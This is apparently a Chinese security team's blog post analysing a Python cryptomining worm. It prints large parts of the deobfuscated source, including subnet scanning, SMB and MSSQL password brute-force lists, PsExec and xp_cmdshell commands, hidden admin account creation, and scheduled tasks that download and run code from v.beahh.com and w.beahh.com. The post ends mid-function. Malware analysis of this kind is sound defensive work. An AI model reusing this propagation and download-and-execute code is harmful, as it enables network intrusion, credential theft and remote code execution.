实战分享 | 记一次对挖矿木马的样本分析
2024-8-16 13:15:1 Author: mp.weixin.qq.com(查看原文) 阅读量:0 收藏

声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!

前一段时间做了个应急响应,病毒样本是用Python写的,正好来分析学习下。

0x01 云沙箱检测

首先丢进微步查看

可以看到病毒释放m2.sp1文件,并且执行cmd和powershell程序。

0x02 样本分析

来实际运行一下程序。

程序在初次运行的时候会生成一个powershell版的mimikatz来抓取当前系统的用户名和密码,随后扫描获取ip地址的c段。

程序生成的powershell版mimikatz m2.ps1:

在当前目录下生成mkztz.ini文件保存抓取的密码。

扫描c段:

样本使用python编写打包成exe,可以使用pyinstxtractor反编译为pyc,目录如下:

根据pyinstxtractor的提示,将pyiboot01_bootstrap.pyc、pyi_rth_multiprocessing.pyc、ii.pyc这几个pyc文件反编译成py文件,可以使用在线网站。

主文件在ii.pyc中。

编译成功的文件如下:

# !/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 2.7

import subprocess
import mmap
import hashlib
import contextlib
import re
import binascii
import socket
import struct
import threading
import os
import random
import platform
from singleinstance import singleinstance
import string
from multiprocessing import Process, Lock
import cmdreader

try:
    import _mssql
    import decimal
except:
    pass

import urllib2
from urllib2 import urlopen
from json import load
from impacket import smb, smbconnection
from mysmb import MYSMB
from struct import pack, unpack, unpack_from
import sys
import time
from psexec import PSEXEC
import bz2
import base64
exec bz2.decompress(base64.b64decode('QlpoO......'))   # 这里因base64编码的数据太多,不全部显示

使用python的bz2把base64编码的数据进行还原。

global ver
ver = 9
global num
num = 0
global smbs

# 生成随机字符串
def JNwMqWYAj():
    na = ''
    for i in JNwMqWYjz(JNwMqWYOb(48)):
        s = JNwMqWYOP
        r = JNwMqWYOm(s)
        na += r
    return na

# 获取MD5值
def JNwMqWYAE(JNwMqWYjy):
    if JNwMqWYjy == "0":
        return "1"
    md5 = JNwMqWYOk()
    md5.update(JNwMqWYjp(JNwMqWYjy).read())
    return md5.hexdigest()

try:
    with JNwMqWYOa(JNwMqWYOQ(-11024, tagname='path', access=JNwMqWYOC)) as m:
        s = m.read(1024).replace('\x00''')
        if JNwMqWYjr(s) < 4:
            m.close()
            m2 = JNwMqWYOQ(-11024, tagname='path')
            m2.seek(0)
            m2.write(JNwMqWYOx.realpath(JNwMqWYja[0]) + "**" + JNwMqWYjX(ver) + "$")
            m2.flush()
        else:
            if "**" in s:
                v = s.split("**")[1].split("$")[0]
                s = s.split("**")[0]
            else:
                s = s.split(".exe")[0] + ".exe"
                v = 0
            print(s)
            if JNwMqWYAE(JNwMqWYOx.realpath(JNwMqWYja[0])) == JNwMqWYAE(s):
                pass
            else:
                if JNwMqWYjl(ver) > JNwMqWYjl(v):
                    print("new version, kill & update")
                    keb = JNwMqWYOt(
                        'cmd /c taskkill /f /im ' + s.split("\\")[-1] +
                        '&wmic process where name="' + s.split("\\")[-1] + '" call terminate' +
                        '&ping localhost' +
                        '&wmic process where name="' + s.split("\\")[-1] + '" delete' +
                        '&copy /y ' + JNwMqWYOx.realpath(JNwMqWYja[0]) + ' ' + s +
                        '&echo ' + JNwMqWYAj() + ' >>' + s,
                        stdout=JNwMqWYOh
                    )
                    JNwMqWYju(2)
                    keb2 = JNwMqWYOt(
                        'cmd /c if exist C:/windows/system32/WindowsPowerShell/ ' +
                        '(schtasks /create /ru system /sc MINUTE /mo 15 /st 07:05:00 /tn update /tr "' +
                        JNwMqWYOx.realpath(JNwMqWYja[0]) + '" /F) ' +
                        'else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&' +
                        'schtasks /delete /TN escans /f&schtasks /create /ru system /sc MINUTE /mo 15 /ST 07:00:00 /TN escans /tr "' +
                        JNwMqWYOx.realpath(JNwMqWYja[0]) + '"&schtasks /run /TN escans)'
                    )
                    m2 = JNwMqWYOQ(-11024, tagname='path')
                    m2.seek(0)
                    print("new:" + JNwMqWYOx.realpath(JNwMqWYja[0]))
                    m2.write(JNwMqWYOx.realpath(JNwMqWYja[0]) + "**" + JNwMqWYjX(ver) + "$")
                    m2.flush()
except:
    pass

JNwMqWYju(2)
myapp = singleinstance()
if myapp.aleradyrunning():
    print("program is already running")

首先是一个检查当前程序是否为最新的代码,如果发现新版本关闭当前进程,删除旧版本复制新版本。

同时还会添加定时任务,保证为最新的程序。

继续可以看到程序内置的扫描的ip列表、爆破的用户列表和密码列表。

iplist=['192.168.0.1/24','192.168.1.1/24','192.168.2.1/24','192.168.3.1/24','192.168.4.1/24','192.168.5.1/24','192.168.6.1/24','192.168.7.1/24','192.168.8.1/24','192.168.9.1/24','192.168.10.1/24','192.168.18.1/24','192.168.31.1/24','192.168.199.1/24','192.168.254.1/24','192.168.67.1/24','10.0.0.1/24','10.0.1.1/24','10.0.2.1/24','10.1.1.1/24','10.90.90.1/24','10.1.10.1/24','10.10.1.1/24']
userlist=['','Administrator','user','admin','test','hp','guest']
userlist2=['','Administrator','admin']
msuser=['sa']
passlist=['','123456','password','qwerty','12345678','123456789','123','1234','123123','12345','12345678','123123123','1234567890','88888888','111111111','000000','111111','112233','123321','654321','666666','888888','a123456','123456a','5201314','1qaz2wsx','1q2w3e4r','qwe123','123qwe','a123456789','123456789a','baseball','dragon','football','iloveyou','password','sunshine','princess','welcome','abc123','monkey','!@#$%^&*','charlie','aa123456','Aa123456','admin','homelesspa','password1','1q2w3e4r5t','qwertyuiop','1qaz2wsx','sa','sasa','sa123','sql2005','1','admin@123','sa2008','1111','passw0rd','abc','abc123','abcdefg','sapassword','Aa12345678','ABCabc123','sqlpassword','1qaz2wsx','1qaz!QAZ','sql2008','ksa8hd4,m@~#$%^&*()','4yqbm4,m`~!@~#$%^&*(),.;','4yqbm4,m`~!@~#$%^&*(),.;','A123456','database','saadmin','sql2000','admin123','p@ssword','sql123','sasasa','adminsa','sql2010','sa12345','sa123456','saadmin','sqlpass']

程序在后面执行的过程中会丰富自己的字典为后续的攻击做准备。

后面是使用zlib压缩后再base64的数据,根据变量名可以知道这是个powershell版本的mimikatz

简单写个脚本进行还原:

import base64
import zlib

encoded_data = '7b0HYBxJliUmL23Ke39K9UrX4.......'
decoded_data = base64.b64decode(encoded_data)
decompressed_data = zlib.decompress(decoded_data, -zlib.MAX_WBITS)
result = decompressed_data.decode('ascii')

with open('output.txt''w', encoding='ascii'as file:
    file.write(result) 
print("Data has been written to output.txt")

还原后的部分powershell代码:

mimikatz的powershell代码不是主要内容,这里不多说,感兴趣的可以下载病毒样本去分析下。

下面就是程序的主要功能代码

还原的代码太多,这里不全部贴出来了,贴出部分关键代码进行分析,程序对函数名进行了混淆处理,部分重要函数进行了重命名以便于理解。

def JNwMqWYAc():
    global iplist2
    ipconfig_process = JNwMqWYOt("ipconfig /all", stdout=JNwMqWYOh)
    output = ipconfig_process.stdout.read()
    result = JNwMqWYOF(r"\\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\b", output)
    for ipaddr in result:
        if ipaddr != "127.0.0.1" and ipaddr != "255.255.255.0" and ipaddr != "0.0.0.0":
            ipaddr = ipaddr.split('.')[0] + '.' + ipaddr.split('.')[1] + '.' + ipaddr.split('.')[2] + '.1/24'
            iplist.append(ipaddr)
    netstat_process = JNwMqWYOt("netstat -na", stdout=JNwMqWYOh)
    output2 = netstat_process.stdout.read()
    result2 = JNwMqWYOF(r"\\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\b", output2)
    for ip in result2:
        if ip != "127.0.0.1" and ip != "0.0.0.0" and ip != "255.255.0.0" and ip != "1.1.1.1":
            ip = ip.split('.')[0] + '.' + ip.split('.')[1] + '.' + ip.split('.')[2] + '.1/24'
            iplist.append(ip)
    try:
        ipp1 = urlopen('http://ip.42.pl/raw', timeout=3).read()
        ipp1 = ipp1.split('.')[0] + '.' + ipp1.split('.')[1] + '.' + ipp1.split('.')[2] + '.1/24'
        ipp2 = load(urlopen('http://jsonip.com', timeout=3))['ip']
        ipp2 = ipp2.split('.')[0] + '.' + ipp2.split('.')[1] + '.' + ipp2.split('.')[2] + '.1/24'
        iplist.append(ipp1)
        iplist.append(ipp2)
    except:
        pass
      
# 去重和排序
    iplist2 = JNwMqWYjU(JNwMqWYjD(iplist))
    iplist2.sort(key=iplist.index)
    return iplist2

# 探测ip端口存活情况
def check_port_open(ip, p):
    s = JNwMqWYOH(JNwMqWYOI, JNwMqWYOo)
    s.settimeout(JNwMqWYjK(timeout) if timeout else JNwMqWYjf)
    try:
        s.connect((ip, p))
        return 1
    except JNwMqWYji as e:
        return 0

def check_port_open_1(ip, p):
    s = JNwMqWYOH(JNwMqWYOI, JNwMqWYOo)
    s.settimeout(JNwMqWYjK(2))
    try:
        s.connect((ip, p))
        return 1
    except JNwMqWYji as e:
        return 0

def check_port_open_2(ip, p):
    s = JNwMqWYOH(JNwMqWYOI, JNwMqWYOo)
    s.settimeout(JNwMqWYjK(1))
    try:
        s.connect((ip, p))
        return 1
    except JNwMqWYji as e:
        return 0

首先函数定义了一个全局变量iplist2来接受获取到的ip地址,通过ipconfig /alnetstat -an来获取网络地址,使用正则来进行匹配,过滤掉127.0.0.1、255.255.255.0、0.0.0.0这几个地址,然后将地址改为*.1/24保存到iplist2中来进行c段的扫描。

同时程序还会从http://ip.42.pl/rawhttp://jsonip.com两个网站来获取公网的ip地址,用同样的方式进行处理,保存到iplist2中,访问了这两个网站看了看,都是获取当前ip地址的。

global fr

def execute_smb_exploit_1(ip, fr):
    global num, smbs
    if JNwMqWYjr(domainsmb) != 0:
        print("got domain admin pwd")
        print("psexec:" + domainsmb[0].split("*")[0] + " " + domainsmb[0].split("*")[1] + " " + domainsmb[0].split("*")[2])
        if PSEXEC(ee2, dl, 'cmd.exe /c echo ' + JNwMqWYAj() + ' >> c:\\windows\\temp\\svchost.exe&echo "*" >c:\\windows\\temp\\doadmin.txt&netsh firewall add portopening tcp 65533 DNSd&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53&copy /y c:\\windows\\temp\\svchost.exe c:\\windows\\' + ebname + '.exe&if exist c:\\windows\\temp\\dig.exe (move /y c:\\windows\\temp\\dig.exe c:\\windows\\' + digname2 + '.exe)else echo no dig&if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn ' + ebname + ' /tr "C:\\Windows\\' + ebname + '.exe" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\\' + JNwMqWYAj() + '" /tr "c:\\windows\\' + digname2 + '.exe" /F) else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"&schtasks /run /TN Autocheck&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "c:\\windows\\' + digname2 + '.exe"&schtasks /run /TN Autostart&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN escan /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN escan /tr "c:\\windows\\' + ebname + '.exe"&schtasks /run /TN escan)', domainsmb[0].split("*")[0], domainsmb[0].split("*")[1], domainsmb[0].split("*")[2], fr).run(ip):
            print("SMBdomain admin Succ! " + ip)
            num = num + 1
            return
    for d in domainlist:
        if d == '':
            for u in userlist2:
                for p in passlist:
                    if u == '' and p != '':
                        continue
                    if PSEXEC(ee2, dl, 'cmd.exe /c echo ' + JNwMqWYAj() + ' >> c:\\windows\\temp\\svchost.exe&echo "*" >c:\\windows\\temp\\ipc.txt&netsh firewall add portopening tcp 65533 DNSd&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53&copy /y c:\\windows\\temp\\svchost.exe c:\\windows\\' + ebname + '.exe&move /y c:\\windows\\temp\\dig.exe c:\\windows\\' + digname2 + '.exe&if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn ' + ebname + ' /tr "C:\\Windows\\' + ebname + '.exe" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\\' + JNwMqWYAj() + '" /tr "c:\\windows\\' + digname2 + '.exe" /F) else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"&schtasks /run /TN Autocheck&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "c:\\windows\\' + digname2 + '.exe"&schtasks /run /TN Autostart&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN escan /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN escan /tr "c:\\windows\\' + ebname + '.exe"&schtasks /run /TN escan)', u, p, '', fr).run(ip):
                        print("SMB Succ!:" + u + " " + p + d)
                        smbs = 1
                        num = num + 1
                        return
        else:
            for u in domainuser:
                if u != '':
                    for p in domainpass:
                        if p != '':
                            print('exp_domain:' + ip + dl + u + p + d)
                            if PSEXEC(ee2, dl, 'cmd.exe /c echo ' + JNwMqWYAj() + ' >> c:\\windows\\temp\\svchost.exe&echo "*" >c:\\windows\\temp\\domain.txt&netsh firewall add portopening tcp 65533 DNSd&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53&copy /y c:\\windows\\temp\\svchost.exe c:\\windows\\' + ebname + '.exe&move /y c:\\windows\\temp\\dig.exe c:\\windows\\' + digname2 + '.exe&if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn ' + ebname + ' /tr "C:\\Windows\\' + ebname + '.exe" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\\' + JNwMqWYAj() + '" /tr "c:\\windows\\' + digname2 + '.exe" /F) else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"&schtasks /run /TN Autocheck&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "c:\\windows\\' + digname2 + '.exe"&schtasks /run /TN Autostart&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN escan /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN escan /tr "c:\\windows\\' + ebname + '.exe"&schtasks /run /TN escan)', u, p, d, fr).run(ip):
                                print("SMB domain Succ!" + u + " " + p + d)
                                smbs = 1
                                num = num + 1
                                return

def execute_smb_exploit_2(ip, fr):  #execute_smb_exploit
    global num, smbs
    for d in domainlist:
        if d == '':
            for u in userlist2:
                if u != '':
                    for n in ntlist:
                        if PSEXEC(ee2, dl, 'cmd.exe /c echo ' + JNwMqWYAj() + ' >> c:\\windows\\temp\\svchost.exe&echo "*" >c:\\windows\\temp\\hash.txt&netsh firewall add portopening tcp 65533 DNSd&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53&copy /y c:\\windows\\temp\\svchost.exe c:\\windows\\' + ebname + '.exe&move /y c:\\windows\\temp\\dig.exe c:\\windows\\' + digname2 + '.exe&if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn ' + ebname + ' /tr "C:\\Windows\\' + ebname + '.exe" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\\' + JNwMqWYAj() + '" /tr "c:\\windows\\' + digname2 + '.exe" /F) else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"&schtasks /run /TN Autocheck&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "c:\\windows\\' + digname2 + '.exe"&schtasks /run /TN Autostart&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN escan /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN escan /tr "c:\\windows\\' + ebname + '.exe"&schtasks /run /TN escan)', u, '''', fr, "00000000000000000000000000000000:" + n).run(ip):
                            print("SMB NTHASH Succ!")
                            smbs = 1
                            num = num + 1
                            return

这段函数的主要功能是通过psexec来执行系统命令,首先判断domainsmb列表是否为空,如果不为空打印出获取的账号、密码和域名,并且使用psexec来进行命令执行(domainsmb列表在后面会提到)。这里发现程序不光是通过445端口的永恒之蓝漏洞(后面会详细解释)进行攻击,还会使用自带的userlist2passlist对用户名和密码进行爆破,爆破成功后使用psexec来进行命令执行。

主要执行的命令包括:

>> c:\\windows\\temp\\svchost.exe

创建svchost.exe文件,将恶意代码写入。

echo "*" >c:\\windows\\temp\\domain.txt

*写入domain.txt文件。

netsh firewall add portopening tcp 65533 DNSd

使用netsh命令在防火墙中添加一个名为DNSd的规则,允许TCP端口65533的流量。

netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53

使用netsh命令将65533的流量转发到1.1.1.1的53端口。

copy /y c:\\windows\\temp\\svchost.exe c:\\windows\\' + ebname + '.exe

复制svchost.exec:\\windows\\目录下,命名问ebname+.exe,这里ebname推测是个随机的字符串,同时/y参数表示覆盖现有文件不提示。

if exist c:\\windows\\temp\\dig.exe (move /y c:\\windows\\temp\\dig.exe c:\\windows\\' + digname2 + '.exe)else echo no dig

如果dig.exe文件存在,移动到c:\\windows\\目录下并且重新命名,否则输出no dig

if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F

判断WindowsPowerShell目录是否存在,如果存在,创建一个计划任务,在\\Microsoft\\windows\\路径下,名字为Bluetool,每50分钟运行一次。

把定时任务base64解码后:IEX (New-Object Net.WebClient).downloadstring('http://v.beahh.com/v'+$env:USERDOMAIN)

可以发现计划任务是定时去恶意域名上下载恶意代码使用powershell去执行,以达到扩大感染范围和持久化的效果。

schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn ' + ebname + ' /tr "C:\\Windows\\' + ebname + '.exe" /F

创建 一个计划任务,每10分钟运行一次,名称为ebname,执行上面添加的ebname.exe这个文件。

schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\\' + JNwMqWYAj() + '" /tr "c:\\windows\\' + digname2 + '.exe" /F

创建一个计划任务,每10分钟执行一次,执行digname2.exe

else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"&schtasks /run /TN Autocheck&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "c:\\windows\\' + digname2 + '.exe"&schtasks /run /TN Autostart&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN escan /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN escan /tr "c:\\windows\\' + ebname + '.exe"&schtasks /run /TN escan)

如果WindowsPowerShell目录不存在,启动Schedule服务,也就是Windows的计划任务服务。

删除名为Autocheck的计划任务,新建一个名为Autocheck的计划任务,每50分钟执行一次,使用mshta去下载执行http://w.beahh.com/page.html?p%COMPUTERNAME%的恶意html文件。

创建名为Autostart的计划任务,每10分钟执行一次,执行digname2.exe文件。

创建名为escan的计划任务,每10分钟执行一次,执行ebname.exe文件。

执行的系统命令,主要就是以上这些内容,在这次实际的应急响应中,因为目标机器不出网,而且没有文件落地,所以只看到了计划任务和添加用户这两个特征特征。

def JNwMqWYAC(ip, p):
    global semaphore1, smbs
    smbs = 0
    try:
        if check_port_open(ip, 445) == 1:
            if check_port_open(ip, 65533) == 0:
                print('exp IP:' + ip)
                try:
                    execute_smb_exploit_1(ip, '1')
                except:
                    pass
                try:
                    if smbs == 0:
                        JNwMqWYAL(ip, 1)
                except:
                    pass
                try:
                    execute_smb_exploit_2(ip, '3')
                except:
                    pass
        try:
            JNwMqWYAF(ip)
        except:
            pass
    finally:
        semaphore1.release()

def JNwMqWYAk(ip, p):
    global semaphore1
    try:
        if check_port_open_1(ip, 445) == 1:
            if check_port_open_1(ip, 65533) == 0:
                print('exp IP:' + ip)
                try:
                    execute_smb_exploit_1(ip, '2')
                except:
                    pass
                try:
                    JNwMqWYAL(ip, 2)
                except:
                    pass
                try:
                    execute_smb_exploit_2(ip, '2')
                except:
                    pass
        try:
            JNwMqWYAF(ip)
        except:
            pass
    finally:
        semaphore1.release()

def JNwMqWYAa(ip, p):
    global semaphore2
    if check_port_open_2(ip, 445) == 1:
        if check_port_open_2(ip, 65533) == 0:
            print('exp IP:' + ip)
            try:
                execute_smb_exploit_1(ip, '2')
            except:
                pass
            try:
                JNwMqWYAL(ip, 2)
            except:
                pass
            try:
                execute_smb_exploit_1(ip, '3')
            except:
                pass
    try:
        JNwMqWYAF(ip)
    except:
        pass
    semaphore2.release()

判断445端口是否开启,如果开启,执行上面提到的攻击函数。

def scan_and_exploit_sql_server(host):
    global num, smbs
    global salist
    
    # 检查主机的 1433 端口是否开放
    if check_port_open_2(host, 1433) == 1:
        # 检查主机的 65533 端口是否关闭
        if check_port_open_2(host, 65533) == 0:
            print(f"[*] find 1433port, scanning.. {host}")
            
            # 尝试使用不同的用户名和密码进行登录
            for muser in msuser:
                for password in passlist:
                    success = False
                    try:
                        # 尝试连接到 SQL Server
                        db = _mssql.connect(server=host, port=1433, user=muser, password=password)
                        success = True
                    except Exception as e:
                        pass
                    
                    if success:
                        print(f"sqlpwd: {password}")
                        salist.append(password)
                        salist = list(set(salist))  # 去重
                        
                        db = _mssql.connect(server=host, port=1433, user=muser, password=password)
                        
                        # 尝试删除和添加扩展存储过程 xp_cmdshell
                        try:
                            db.execute_query("exec sp_dropextendedproc 'xp_cmdshell';")
                        except:
                            pass
                        try:
                            db.execute_query("dbcc addextendedproc('xp_cmdshell', 'xplog70.dll')")
                        except:
                            pass
                        try:
                            db.execute_query("EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec SP_CONFIGURE 'xp_cmdshell', 1;RECONFIGURE;")
                        except:
                            pass
                        
                        # 尝试在目标主机上创建用户并添加防火墙规则
                        try:
                            db.execute_query("xp_cmdshell 'net user k8h3d k8d3j9SjfS7 /ADD && net localgroup administrators k8h3d /ADD&netsh advfirewall firewall add rule name=mssql dir=in action=allow protocol=TCP localport=1433&netsh advfirewall firewall add rule name=web dir=in action=allow protocol=TCP localport=80'")
                        except:
                            pass
                        
                        # 尝试更改 sa 用户的密码
                        try:
                            db.execute_query("sp_password Null," + JNwMqWYAj() + ",'sa';")
                        except:
                            pass
                        
                        try:
                            # 检查 445 端口是否开放,并执行相应操作
                            if check_port_open_2(host, 445) == 1:
                                if PSEXEC(ee2, dl, 'cmd.exe /c echo ' + JNwMqWYAj() + ' >> c:\\windows\\temp\\svchost.exe&echo "*" >c:\\windows\\temp\\143.txt&copy /y c:\\windows\\temp\\svchost.exe c:\\windows\\' + ebname + '.exe&move /y c:\\windows\\temp\\dig.exe c:\\windows\\' + digname2 + '.exe&net start Ddriver&net user k8h3d /del&netsh firewall add portopening tcp 65533 DNSsql&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53&&if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn ' + ebname + ' /tr "C:\\Windows\\' + ebname + '.exe" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\\' + JNwMqWYAj() + '" /tr "c:\\windows\\' + digname2 + '.exe" /F) else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"&schtasks /run /TN Autocheck&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "c:\\windows\\' + digname2 + '.exe"&schtasks /run /TN Autostart&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN escan /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN escan /tr "c:\\windows\\' + ebname + '.exe"&schtasks /run /TN escan)''k8h3d''k8d3j9SjfS7''''4').run(host) == True:
                                    print('psexec  succ!')
                                    num = num + 1
                                else:
